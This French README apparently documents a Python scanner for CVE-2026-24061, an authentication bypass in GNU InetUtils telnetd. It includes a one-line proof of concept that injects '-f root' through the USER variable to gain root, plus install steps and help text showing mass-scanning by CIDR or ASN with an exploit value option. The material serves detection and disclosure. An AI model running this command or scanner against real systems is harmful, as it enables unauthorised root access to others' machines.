
CVE-2026-24061 - Contournement de l'authentification à distance de Telnetd GNU InetUtils
Un scanner Puissant, Rapide et Élégant pour détecter les services Telnetd vulnérables affectés par CVE-2026-24061. Conçu avec la bibliothèque standard Python pure - zéro dépendance externe requise.
CVE-2026-24061 est une vulnérabilité critique de contournement d'authentification dans GNU InetUtils Telnetd qui permet à des attaquants distants non authentifiés d'obtenir un accès root en exploitant la gestion de l'option NEW-ENVIRON.
Voici la configuration du service Telnetd côté hôte cible.
Et voici la preuve de concept (PoC) pour cette vulnérabilité, qui peut être exécutée manuellement depuis l'hôte de l'attaquant simplement en exécutant la commande USER="-f root" telnet -a <TARGET_HOST> 23.
La vulnérabilité exploite une validation incorrecte de la variable d'environnement USER dans la négociation de l'option telnet NEW-ENVIRON (RFC 1572), permettant aux attaquants d'injecter des valeurs malveillantes comme -f root pour contourner l'authentification.
9.8 (Critique) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
# Clone the Repository
cd /opt
sudo git clone https://github.com/madfxr/Twenty-Three-Scanner.git
cd Twenty-Three-Scanner
# Make Executable
sudo chmod +x twenty-three-scanner.py
# Run the Script
sudo python3 twenty-three-scanner.py -h
Voici un manuel pour l'outil Twenty-Three Scanner qui peut être utilisé pour détecter la vulnérabilité CVE-2026-24061 - Contournement d'authentification à distance Telnetd GNU InetUtils.
usage: python3 twenty-three-scanner.py [-h] [-t TARGET] [-f FILE] [-a ASN] [-p PORT] [--threads N] [--user-value VALUE] [--connect-timeout SEC] [--read-timeout SEC] [--id-timeout SEC]
[--max-hosts-per-cidr N] [--max-total-hosts N] [--skip-large-networks] [-o FILE] [-v]
CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass
options:
-h, --help show this help message and exit
Target Options:
-t TARGET, --target TARGET
target IP, CIDR, or comma-separated list (can be used multiple times)
-f FILE, --file FILE file containing targets (one per line, supports comments with #)
-a ASN, --asn ASN autonomous system number (e.g., AS10111 or 10111)
Scan Options:
-p PORT, --port PORT target port(s), comma-separated (default: 23)
--threads N number of concurrent threads (default: 50)
--user-value VALUE USER environment variable value for exploit (default: '-f root')